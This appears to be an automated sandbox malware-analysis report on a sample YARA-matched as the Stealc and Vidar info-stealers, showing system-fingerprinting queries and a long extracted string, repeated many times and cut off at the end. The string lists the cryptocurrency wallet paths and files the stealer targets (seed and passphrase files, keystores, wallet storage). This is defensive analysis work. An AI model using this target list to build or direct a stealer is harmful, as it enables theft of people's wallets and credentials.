Source: file.exe	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2519121259.000000000091F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB341 cpuid

0_2_6C5DB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5A35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5A35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2520351860.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2517910143.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2061910174.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6024, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 